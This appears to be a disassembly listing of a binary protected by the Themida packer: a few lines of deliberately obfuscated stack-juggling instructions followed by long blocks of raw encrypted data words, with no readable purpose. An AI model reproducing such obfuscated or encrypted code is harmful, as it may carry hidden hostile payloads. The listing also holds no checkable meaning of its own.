; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	61D1C3Ch
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dw 61A6h
		dd 81FA897Dh, 2725613Eh, 0B8FDB280h, 61D2D79h, 0E0FFC503h
		dd 48C17BAFh, 2EDC56B0h, 7DBF561Fh, 6835F0C6h, 3B5CA06Bh
		dd 6B74D349h, 1A042357h, 3EA85C82h, 15D792EDh, 717037D7h
		dd 56B34A14h, 75FED18h,	0CE630B1h, 39C0F25Eh, 722A8E1Dh
		dd 652FFB8Bh, 18B4D02Ah, 4FD57C0Bh, 26DC82F8h, 7AFE6647h
		dd 35755FF1h, 5505B8D4h, 677F4277h, 6B812618h, 7B1D3BBAh
		dd 705CF5D2h, 39453C53h, 7959CE9Ch, 2F278D8Dh, 6A061Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E97588C3h, 9, 7455D39Ah, 27F3F16Ch,	218D890Eh, 89061527h
		dd 15225195h, 0CD85C706h, 0FC061504h, 0E9000070h, 0Ah
		dd 0B96B5652h, 4C1F769Ah, 85C7063Eh, 6151115h, 0
		dd 10F1B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 877283C3h, 3A5BD29h, 95FF0615h
		dd 61502C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0EC35545h, 8BEF50BCh, 6A37B4F1h, 2195FF00h, 8B06152Eh
		dd 9F78EBC0h, 0E76BC44Bh, 258030CCh, 32771E50h,	5760DEACh
		dd 49584BE3h, 0D028A7D6h, 9D4704CAh, 0FE03E50Bh, 96070639h
		dd 3EC9B1BDh, 0D75FDF79h, 76664D96h, 0A279CB13h, 0F55E9923h
		dd 0D7B95Eh, 62ED2FB3h,	99F22C67h, 0D505F32Fh, 642C61A7h
		dd 0A8D5DCh, 3317E81Ah,	0B32B27C6h, 0DEB536E8h,	9F6C9A0Fh
		dd 0C88E2773h, 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h
		dd 8DBE9E5Bh, 1D30728Dh, 0A5858906h, 89061526h,	1527218Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 2276276Bh, 78B866BBh, 7886BA75h,	85C74F31h
		dd 61504CDh, 5C74h, 64E88166h, 1585C7EEh, 61511h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 593EC353h, 0ED83C3CAh, 6B9C0B6Eh,	2CBDB5FFh
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FFA6C7C3h, 1502C995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1C4BB705h
		dd 1F288C78h, 6AC8CEh, 2E2195FFh
		db 15h
byte_5FCAA1	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:00579DF4o
		dd 71711BEBh, 6A5F3C6Ch, 131A6DCEh, 4B9213EFh, 0BDD5BB69h
		dd 0E9D700Eh, 0DFB42610h, 10EB20h, 3 dup(0)
		dd 8B000000h, 850F50C0h, 10h, 0BE9h, 0A4A86900h, 0F10B29A3h
		dd 92C93DD0h, 418D895Ah, 8306150Ch, 1508F5BDh, 9750006h
		dd 3ADBD83h, 74000615h,	8B535019h, 42DB8C0h, 85890000h
		dd 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh
		dd 50177400h, 42DB853h,	85890000h, 6151385h, 0A78D9D8Dh
		dd 0D3FF0617h, 6A585Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 371131C3h, 1331B58Bh, 0E8F50615h
		dd 6, 0A43C2397h, 958BC287h, 61504E5h, 4ADE815Eh, 8B482C18h
		dd 57DCB2C0h, 0BE8h, 0DCC45E00h, 59EC6A35h, 12B395F8h
		dd 850Fh, 5E5A0000h, 9858D8Bh, 0B58B0615h, 6151E25h, 1D9D9D89h
		dd 0F9830615h, 5F840F00h, 1000000h, 152EB58Dh, 3D8B6406h
		dd 2Ch,	0E8F7B70Fh, 7, 0BB5D9F36h, 8B154AB9h, 151119B5h
		dd 0FF0B5E06h, 34840Fh,	0FE90000h, 0AA000000h, 5269C073h
		dd 99264FF2h, 92881C7Bh, 8D296662h, 6151D19h, 0F6813F8Bh
		dd 438FF020h, 9589C032h, 615130Dh, 8952AAF3h, 1511F995h
		dd 49355A06h, 6A535041h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 6629C351h, 2229982Ah
		dd 0C585C624h, 47061509h, 0A59B58Bh, 3F680615h,	81D9E78Ch
		dd 0FBED2404h, 858902EEh, 6150805h, 2811B5FFh, 6E80615h
		dd 0D3000000h, 61978FDAh, 0F38B663Ch, 0BC858D5Ah, 0BA061872h
		dd 4E57B64Ah, 810FD0FFh, 3, 89F6B70Fh, 152D2585h, 5958B06h
		dd 0C606152Fh, 1509C585h, 6A5306h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 6A1A0AC3h, 0BA66EF3Bh
		dd 0BA66B270h, 4E83593h, 0FC000000h, 5088986Ah,	448B5A53h
		dd 5E560424h, 8B66008Bh, 244489F3h, 58F38B04h, 68E0Fh
		dd 958B0000h, 615044Dh,	2811B5FFh, 858D0615h, 61872BCh
		dd 0B70FD0FFh, 36858DD0h, 66061837h, 89A892BAh,	15248D85h
		dd 15810F06h, 0E9000000h, 10h, 6F87E77Ch, 29001B6h, 0BF81DD52h
		dd 0DC005AA3h, 0FF6A206Ah, 248D95FFh, 49350615h, 0C7535041h
		dd 151E0185h, 106h, 0BD85C700h,	6152Fh,	89000000h, 1504A1BDh
		dd 1858B06h, 66061516h,	64E797BAh, 0A3h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0F9B2446Eh, 48B0F14h, 66000000h, 660BC3BAh, 0BD83D78Bh
		dd 61509CDh, 52840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7DC5C355h
		dd 858B7F05h, 6151D09h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 53C35545h, 27EEB391h,	0DB4E7183h, 0A9958B8Ch
		dd 8B061525h, 0F5BD83E0h, 61527h, 47A850Fh, 85890000h
		dd 6152179h, 9C585C6h, 60560615h, 1F9BD89h, 0FE80615h
		dd 0F4000000h, 839CE39Ah, 0D734FF54h, 0AB2C715h, 0D18B6338h
		dd 968615Ah, 0B252AA8Ch, 240481B3h, 571AA4D6h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3C35646h, 9ADBECCCh
		dd 6850F60h, 8B000000h,	1522D195h, 11B5FF06h, 8D061528h
		dd 1872BC85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 81DBC9D4h, 9E9h, 84D87700h, 3E5E600Fh
		dd 0D0FFCC20h, 10C9958Bh, 50500615h, 0F51B652h,	89585A31h
		dd 0F18B2404h, 5E9h, 0D5E2100h,	8D8D4F05h, 6152839h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h, 0E4E90812h
		dd 0E11B58Bh, 8B500615h, 240C89F3h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0FC35343h, 0C5BA1446h, 6A40597Dh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0EC796D27h, 686C5D56h, 7337C894h, 3481F58Ah
		dd 37D89424h, 95B58B73h, 0FF061509h, 150031B5h,	5800F06h
		dd 0BE000000h, 3E015C7Bh, 0C8C28166h, 66D0FF54h, 8BC4DBBEh
		dd 150031BDh, 99B58B06h, 3061519h, 952B3C7Fh, 6151A49h
		dd 0F8C781h, 8D290000h,	6151D99h, 0C765C680h, 202447h
		dd 8B666000h, 0DDEA81D0h, 83687E2Bh, 1D3094BDh,	840F0006h
		dd 1FBh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	54C35040h, 40DE81FFh, 837BC6AFh, 6A28C7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0A85E02C3h, 0C2A6E843h, 860F0BCDh, 11h, 0CE9h, 906F9100h
		dd 0B2FEDA40h, 4AAFE35Bh, 2E07C78Bh, 6A64696Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 5EC2C355h, 0EC553BE8h, 0B70FB1B2h, 47C7F8F0h, 61746104h
		dd 0F99D8900h, 8B06150Ch, 1D309C85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0ACAB6B6h
		dd 24B7D820h, 0FE9A1h, 0A5410000h, 69BE009h, 31619281h
		dd 66A5DC94h, 0C47895Eh, 2691958Bh, 858B0615h, 61D30A0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D6C35545h
		dd 89F18B66h, 6A0847h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0BC7067C3h, 7E9B5D2h, 66000000h
		dd 0F9DDFAFDh, 850FF22Dh, 17h, 12E9h, 0C44CCD00h, 226F139Ah
		dd 620DBD7Ah, 83A65B47h, 835802E6h, 950128C7h, 6150895h
		dd 632E07C7h, 880F6E6Fh, 6, 2AC9B589h, 85290615h, 615271Dh
		dd 660447C7h, 0E8006769h, 6, 0F241A19Bh, 9E9F95Ch, 0AB000000h
		dd 11A0B9Ch, 0CCAD510Ch, 98858B5Eh, 6A061D30h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 689BC351h, 89CBF8FFh, 0FE90C47h, 0DD000000h,	0E6D3FD29h
		dd 0B59EC092h, 2C9A4FB6h, 0B58B68B7h, 6152AC9h,	3094858Bh
		dd 8E0F061Dh, 0Eh, 0F18D8B60h, 81061509h, 0FD7957DEh, 47896132h
		dd 0C99D8908h, 58061505h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0C35646h, 57CC1CDFh, 0D5BD89AFh, 8D061520h
		dd 152C798Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 880FFC3Ah, 4, 6DE8BE66h, 240C8950h
		dd 0B5FFD18Bh, 6152839h, 30159589h, 0DA680615h,	6017C102h
		dd 66CA8B60h, 61BF04B8h, 8D95BF66h, 24348161h, 17C112DAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 17C35242h
		dd 0FF968C1Eh, 150031B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0A86EF82Ch
		dd 0D0FF6133h, 0FD98D89h, 85890615h, 6151DADh, 0B8h, 19958B00h
		dd 0B061523h, 22840FC0h, 29000000h, 151E0DB5h, 0FFD78B06h
		dd 1503BDB5h, 7E906h, 84290000h, 0C3F4D90Eh, 0C995FF85h
		dd 0B2061502h, 66C08BF3h, 83B650BAh, 1508F5BDh,	9750006h
		dd 3ADBD83h, 74000615h,	8B535019h, 42DB8C0h, 85890000h
		dd 61502A1h, 0AB059D8Dh
		dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h,	42DB853h
		dd 85890000h, 61502A1h,	0A7A69D8Dh, 0D3FF0617h,	0B70F585Bh
		dd 14E9D2h, 0F7FA0000h,	0CD4019BFh, 0B5B06591h,	1AC02E28h
		dd 43B5ED28h, 0C08B6767h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0ACC35040h, 0AE1B50Bh, 0C08B0615h, 39A98D8Dh
		dd 8D89061Dh, 6152721h,	0AE9h, 4E6DBA00h, 0D0DD6BFh, 0C7A048B2h
		dd 1504CD85h, 6A2006h, 8E900h, 0A0610000h, 975C901Bh, 85C770A4h
		dd 6151115h, 0
		dd 2E258501h, 0B5FF0615h, 6152921h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 6DC35141h, 0AB7FE8B2h, 2C995FFh
		dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C8DB0AC3h, 39895A02h, 8B9BD9EFh,	152AE5BDh
		dd 0FF006A06h, 152E2195h, 0EBC08B06h, 57E2944Dh, 9EF62DF5h
		dd 83E06193h, 82940FF8h, 316DAFFCh, 4D569CA8h, 9BC5DA6h
		dd 776CB2A9h, 0BFE04DC0h, 84256C08h, 4378F7Ah, 69A05F52h
		dd 0F57E0572h, 0E57657Eh, 7A0A244Ah, 0D195A6D5h, 1E61A9A6h
		dd 68545ED6h, 0EBD4350Eh, 8D8D23E5h, 61D3A98h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 16C35141h, 0C4A46B13h
		dd 91DB79B2h, 2D95896Bh, 8906152Fh, 1527218Dh, 0CD85C706h
		dd 8C061504h, 80000074h, 85C784F2h, 6151115h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8CC35747h
		dd 0B4575B46h, 0B362C19Eh, 8EDBD8Bh, 0B5FF0615h, 6152F59h
		dd 2CD5B58Bh, 95FF0615h, 61502C9h, 1381B58Bh, 8D890615h
		dd 61518EDh, 95FF006Ah,	6152E21h, 4DEBC08Bh, 0FED542D4h
		dd 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh,	8639CC3h
		dd 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh,	7DF7488Fh
		dd 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh, 0F182738Ch
		dd 0A058689h, 4788D771h, 1D9ED841h, 11E84Bh, 0ECD60000h
		dd 0D2480425h, 0B2952189h, 4677C2A0h, 6688B74Ch, 0F5FC28Bh
		dd 58Bh, 0D8816600h, 0C7810093h, 5A30h,	0B9C0B70Fh, 1662h
		dd 8BC0BF0Fh, 0EE917h, 0CA30000h, 0E15C7ADBh, 0D3B1A725h
		dd 9EA90D3Ah, 0E5E4EA81h, 8A0F1ADBh, 5,	12DB13BBh, 0EAC2812Eh
		dd 8B156D8Fh, 152CD585h, 94F28106h, 0FC643423h,	0E9561789h
		dd 13h,	0F34D25C7h, 4C216EA3h, 65217918h, 10653100h, 5E120477h
		dd 11D0EF81h, 7E91439h,	0AA000000h, 0BA16A8DBh,	0C7817AA0h
		dd 143911CCh, 850F49F5h, 0FFFFFF8Bh, 0FF59D381h, 2AE9724Ch
		dd 24000000h, 47774Ch, 9 dup(0)
		dd 57DE900h, 93F30000h,	5CDD5223h, 9B1A09ECh, 53D54A2Bh
		dd 9D1D12E3h, 5853482Dh, 950565h, 0B95CCC33h, 0FB9A0A6Ah
		dd 0BE57C724h, 577A4915h, 16169BC9h, 0C724E755h, 0F053B43Bh
		dd 1086F2A9h, 2A6C4354h, 273C7A55h, 98C253C3h, 9A0A6DC6h
		dd 0DF02A39Ch, 9E1086F2h, 0CF2CDD8Dh, 6075575Fh, 0DD529CABh
		dd 0EA5AD86Ch, 0EFCD3ACh, 102E9E1Dh, 8252774Eh,	0CB71086h
		dd 108682C5h, 182997A8h, 0D9DAC472h, 0EEB0E656h, 86823257h
		dd 0C7E8B910h, 82054CF7h, 0D7E81086h, 0B73F633h, 608212EBh
		dd 53C325A2h, 6A456A63h, 0E1D2B42Ch, 171D35Fh, 4717E82Eh
		dd 8669557Ch, 63071810h, 0E546812Ch, 0A0BEA075h, 8669FC25h
		dd 0BCAE7F10h, 987DED4Fh, 7DB9298Bh, 0F6770364h, 0BA2A8D86h
		dd 6AAC837Ch, 14B31A8Bh, 59E03098h, 0BBF9284Dh,	67A3BB04h
		dd 0FED1FE93h, 0FE6ED3E0h, 51B2810Ch, 0CAE7B5E1h, 0E959DF6Bh
		dd 0B7FFD0ADh, 557924C6h, 9510866Ch, 2D90B924h,	0B397A8B8h
		dd 58h,	57C72487h, 0F2BFE45Fh, 3ABB1086h, 0C67D5F93h, 1086F283h
		dd 475A6401h, 0ED532CDCh, 0FA7F2EDCh, 9C97A8CBh, 71A21297h
		dd 50EC9E0Eh, 1, 55C5246Ch, 81F15061h, 86F674BDh, 0B7392AE4h
		dd 58DF4F47h, 6FDF6265h, 2B9AC486h, 1086F2E6h, 55D6B485h
		dd 0A98F66D6h, 6056C624h, 387EEE53h, 5E58C82Bh,	4175E545h
		dd 0C05F1D54h, 6441A3E4h, 30D90AB5h, 11715689h,	75B89DA1h
		dd 0F45FB809h, 0DA4924C6h, 0B4ADE959h, 0E7F5C939h, 86F3355Ch
		dd 3E7B810h, 27971809h,	128202EFh, 90983324h, 496FD23Fh
		dd 0E102AD5Ch, 0BA3E7349h, 0C6F9A04Ah, 0A8752683h, 668E97h
		dd 24AA0000h, 2B8856C6h, 605D59C9h, 16978C8Ah, 790070A6h
		dd 91018146h, 5BCB2F04h, 72E2465Bh, 644BC644h, 0A81C88E5h
		dd 2DCD0A97h, 972EC097h, 5537E387h, 53000000h, 8856C624h
		dd 5C5ACA2Bh, 60D03063h, 83B15936h, 0C09E0E6Eh,	75A11173h
		dd 0F2F51CA7h, 0A7781086h, 0D334E288h, 0F2507766h, 4A67F382h
		dd 9D9575E5h, 0B639C524h, 0C62D6946h, 1086F286h, 36B9FAE4h
		dd 426D24C6h, 900083B0h, 1A2EBBFAh, 1B697A8h, 0D2000000h
		dd 61C924h, 0E3BBABB3h,	0F1250Ah, 20231383h, 4814679h
		dd 669CA94h, 1199F496h,	0A2213D6Dh, 169BE182h, 745B8A93h
		dd 3B0C9AF2h, 0B2112214h, 0E3627C42h, 1693E3BEh, 61DF4FB0h
		dd 44DBBA50h, 0DB8A7FE7h, 0FBDD6819h, 3C63E2D4h, 0C2169310h
		dd 0DC5F6857h, 0DF61526Ch, 0EFB8486Fh, 0A4B30955h, 0B9A3A7C6h
		dd 93CCC70Ah, 21A4A616h, 1693CCF8h, 0ED9DB283h,	8C57BF3Ch
		dd 0D54F2BB6h, 0A4BDF9D6h, 28DFD747h, 2A893E71h, 426FDBBAh
		dd 0CEF158C0h, 4D3950FCh, 0BC3F3462h, 0D530634Ch, 0A3068565h
		dd 299DBDDEh, 143h, 3DAD121Fh, 0BABE54Dh, 6AD903DBh, 1086F227h
		dd 0A9E2F5C6h, 19D5055h, 390C5238h, 169B4B39h, 0D9C3F3C4h
		dd 0FDED5DD8h, 1F3FAF0Ch, 0CB8C6A36h, 97736D6Ch, 54C427FCh
		dd 0E75B7C62h, 5DCB065Fh, 0BFF767C6h, 809E1CEh,	3CFB3BABh
		dd 0DE5D6A55h, 92C3876Eh, 0F0275B86h, 883678Ah,	9DBD2EA5h
		dd 65AC1745h, 81693EAh,	60E75337h, 0E5000000h, 0C939BAF7h
		dd 0C55F0CDh, 0EF1693EAh, 4F082CDEh, 0C580E162h, 1086F29Ch
		dd 35614E5Fh, 3B08B258h, 9022330Bh, 1DA91907h, 3D084E3Ch
		dd 9086DA34h, 0B4EF5B7h, 0F29086DAh, 0AD080E21h, 9086DA64h
		dd 0A1AD2087h, 85AEB0E0h, 82D4B626h, 86DABEC3h,	526C3D10h
		dd 9773E361h, 75B8FCh, 0ABD40000h, 0D903DB0Bh, 1E959D8h
		dd 9C0616A2h, 20162716h, 0B540B013h, 0E71FD7Eh,	3AF989Eh
		dd 0CEF9A282h, 3E785778h, 932095B7h, 0FFAE5B16h, 1AFB6BC8h
		dd 0F8CBEC8Ch, 169326D1h, 9AA48B9Ch, 0B1F9022Bh, 26102110h
		dd 0F83EAE0Dh, 0D1218CFDh, 0FBEF5FE0h, 0ADB1E195h, 80B62684h
		dd 8359DB8Fh, 0AD5DCD2Eh, 973D2F0Eh, 53F2EC1Ah,	2D6BE0Eh
		dd 8A2EDCEDh, 4F50DCB9h, 0F051DD62h, 0D5BBAF80h, 0C4EDF121h
		dd 4016F464h, 0A42DB885h, 0ACEABB16h, 0FAC434B7h, 0CDC939B9h
		dd 0CF7B1AF0h, 9D671C06h, 806A5EF3h, 0D6C03093h, 0ED94C76Fh
		dd 8FA46657h, 0F875BE2Eh, 0D9B18E88h, 5BD8EFDEh, 17400AEBh
		dd 4DEA4D4Bh, 0BC835414h, 3C18FBC9h, 0C526E387h, 0F0506155h
		dd 0ABAF9680h, 8FFF80B1h, 0CA0FB687h, 0B157013Bh, 0DF4FB3E0h
		dd 8D04E6D7h, 0BA46A522h, 0EE7C838h, 432A221h, 2696191Ah
		dd 35844h, 2F340000h, 5ACA244Bh, 74E4475Ch, 63D33142h
		dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
		dd 7AEA4F64h, 0C368783Ch, 8900006Dh, 89522404h,	4C281E2h
		dd 81000000h, 4EAh, 24148700h, 242C895Ch, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	50243C89h, 694280B8h, 2E0C14Ah
		dd 7831CF05h, 0C38953DCh, 585BDD89h, 243C8B54h,	6804C483h
		dd 6B8Fh, 8F242C89h, 34FF0847h,	0C4815F24h, 4, 57242C8Bh
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF83D12h, 94E22BF8h
		dd 788DC0B7h, 0B87544B7h, 61D40C7h, 0E0FFC503h,	35FF35CFh
		dd 51311157h, 598C66B8h, 12E7F998h, 21520607h, 50F8A648h
		dd 76826E7Fh, 47559DCBh, 42320FB5h, 75236951h, 1C6E9814h
		dd 649317E2h, 10F548D7h, 3856DD83h, 42808D8Dh, 6A061Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0DDC4E5C3h, 9D09C6D3h, 6151821h, 27218D89h, 8E90615h
		dd 98000000h, 0ACC8138h, 0C79D4132h, 1504CD85h,	595006h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 62128AEh, 8F5A803Fh, 0BE665017h,	85C7B439h
		dd 6151115h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B3C35141h
		dd 66134B0Ch, 0B5FFC28Bh, 6151D45h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 83C35646h, 410219A1h, 0C995FFCDh
		dd 6A061502h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4B72C350h, 0D08B6889h,	95FF006Ah
		dd 6152E21h, 0BEBC08Bh,	0FC88B654h, 81CDB06Dh, 0E8AA270Fh
		dd 0Fh,	166CC3CDh, 7F5E4376h, 0A423BF01h, 66B63E7Ch, 720CE881h
		dd 0D6B70F59h, 5F77C181h, 958B0000h, 6151011h, 0BE9FF2Bh
		dd 39000000h, 450697FEh, 79F64E12h, 1C8B0D67h, 0C381FC39h
		dd 409CA30Bh, 0EB81F7B6h, 1BC297EDh, 26B5BD29h,	0EB810615h
		dd 34D926C6h, 1E89858Bh, 0E9530615h, 5,	5EBA8C62h, 39048F50h
		dd 244D9D01h, 14E90615h, 66000000h, 6A0BCCB0h, 0C8805DE2h
		dd 3276EB1h, 0B44A7E80h, 81969443h, 2141A4EFh, 3CBA661Dh
		dd 0A0C781C0h, 661D2141h, 8B03D681h, 0A164FF81h, 850FFFFFh
		dd 1Eh,	0ACA93AB8h, 2DE944h, 77480000h,	3198A22Ch, 0BE0284EDh
		dd 0DE65BF33h, 3A02E83Fh, 0F08AF086h, 0FFFF69E9h, 6D69C5FFh
		dd 7746807Bh, 271B65EAh, 124FBEE6h, 0EB5CB780h,	3DFE900h
		dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh
		dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h,	0B243B310h
		dd 43863D21h, 2A169BB1h, 40BCF569h, 24023AD0h, 73C055C5h
		dd 979CA212h, 9B74A212h, 0C0AA1A98h, 2A88A9B5h,	0E7837CBAh
		dd 0BF56C62Ah, 0D3A21270h, 506EDE5Ch, 7B6FDF63h, 4CBC43F0h
		dd 8AFA7AA9h, 0C67D5FEBh, 1086F283h, 80B1596Ah,	85F57703h
		dd 0C0E6CBAAh, 6316A321h, 7EEE4D99h, 55C52B38h,	5CCC2889h
		dd 88D1745Ah, 73169ADDh, 2FDD8DA2h, 88F87879h, 0C9F9BDEDh
		dd 0D4BDE0F5h, 0A2E90340h, 0BFCF76C8h, 3E108037h, 0B88B516Dh
		dd 1CB7B791h, 759F4B5Ch, 0B7B7CF0Eh, 0B8A6B81Ch, 0B7B7C40Dh
		dd 0F496A71Ch, 0B23712BDh, 54A3D95Eh, 2A6CDC5Fh, 0EA85B555h
		dd 0C3000000h, 999D0D6Eh, 244EC6A4h, 536056C6h,	0F6D87FEFh
		dd 1CCE3EBDh, 0F212AB1Ah, 111086h, 7CA5203Eh, 0FF1086F2h
		dd 0CD23C2Eh, 34D646A7h, 710474F7h, 5B4EE8EDh, 8E4F175Fh
		dd 5CCC2FDCh, 0E430D05Ah, 243A1585h, 9BA02DA1h,	3F1F3016h
		dd 6C1E8EF2h, 0DF4FB1C2h, 0F868CAD7h, 70D2C1BEh, 139A1600h
		dd 0A70E37ACh, 0BC2C8F38h, 0FD2DD1D9h, 0A80E62E1h, 0BE8F108Eh
		dd 97076B78h, 7E0A6AC7h, 0C4A689F9h, 308CA5A9h,	89E92AC0h
		dd 0AB749D28h, 2EF71CACh, 790774A6h, 301F3073h,	97C77406h
		dd 0B985FCC7h, 0F7C81CACh, 74F73C1Eh, 4D3D1204h, 5B639363h
		dd 0B64CD8E8h, 4AAE031Ah, 7E3DCDAh, 0A3908697h,	84C6AF1Fh
		dd 0A8A6EB5Ah, 2BDC02B9h, 0D3EBBA8Eh, 0D5B5863Ah, 3066D654h
		dd 0F5C9F9CAh, 0B92D574Eh, 80152602h, 36DF4FB3h, 0DB0BABF2h
		dd 4003D903h, 1086F219h, 64E0D3E4h, 2FA716F4h, 4E169C1Ah
		dd 0CB28397Dh, 0C790BA5Bh, 0CEFFC8A0h, 8235D50Ah, 375F1C55h
		dd 813DF09Eh, 6B331CD7h, 0D141C0F1h, 2438A39h, 73C01693h
		dd 49CAA010h, 6DDD5EEAh, 9A7B5429h, 8FFF83B0h, 5DCD2EDBh
		dd 7BEB4859h, 79BA7C3Bh, 0ADE486F6h, 0F666C502h, 0A2213B1Fh
		dd 1693027Fh, 5A43BB95h, 8B8D029h, 2512863Fh, 0F9D6045Fh
		dd 3317A211h, 409D9DBDh, 9B000000h, 248B1796h, 0A28D82B4h
		dd 4BEF9B74h, 3DB0BABh,	8B85FCD9h, 5957CC28h, 0A99BBE85h
		dd 51621086h, 0A9920AB9h, 0C2D3169Bh, 28B9DBFCh, 0DEE45B30h
		dd 26C4EB5Bh, 878FBE8h,	16476Dh, 4F630000h, 4A6DDD62h
		dd 485F8D4Eh, 6E9B4F0Dh, 879C9A0Ah, 5BE1B424h, 0C154C424h
		dd 587D4816h, 1B1086F2h, 0F1420C0Ah, 0C8492191h, 0B8BBFB6Bh
		dd 410D5E51h, 86F25382h, 0F697C010h, 0A31371BAh, 9CBD9A73h
		dd 336307BDh, 0F051D96Ah, 7C535272h, 99BEE362h,	6C3D1086h
		dd 0B8199A89h, 8699C40Dh, 0B996A710h, 0EC6572DCh, 6AAF1671h
		dd 1110867Fh, 10923700h, 67564129h, 0BF1h, 0C724C500h
		dd 0F1525F57h, 324AF481h, 5C5ACA24h, 4274E447h,	3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 0E3895378h, 4C381h, 0EB830000h, 241C8704h
		dd 2414895Ch, 557168h, 24048900h, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 0BD55242Ch, 73D14678h,	0CC0503B8h
		dd 8BE83175h, 0C481242Ch, 4, 83B68h, 24248900h,	4240481h
		dd 5D000000h, 0E5B85050h, 2936082Eh, 58042444h,	8108458Fh
		dd 2EE50845h, 2C8B3608h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 5124048Bh, 0C181E189h,	4, 4C181h, 0C870000h
		dd 3E95C24h, 74FFF837h,	318117F6h, 1960C0B4h, 46B2B873h
		dd 0C503061Dh, 0FEEEE0FFh, 4A091BBEh, 8F3B069Dh, 8E840758h
		dd 85C01585h, 6910422Ah, 0B1D83DB2h, 0C6070A61h, 0E6082D07h
		dd 95C438C1h, 0F607942h, 68Eh, 8F0F00h,	0F000000h, 1481h
		dd 0FE900h, 0DD3C0000h,	4CE0845Bh, 7578EB89h, 8B4D4D87h
		dd 0F9BE617Ah, 0F66A92Ah, 386h,	0C2BF0F00h, 0FE8D88Bh
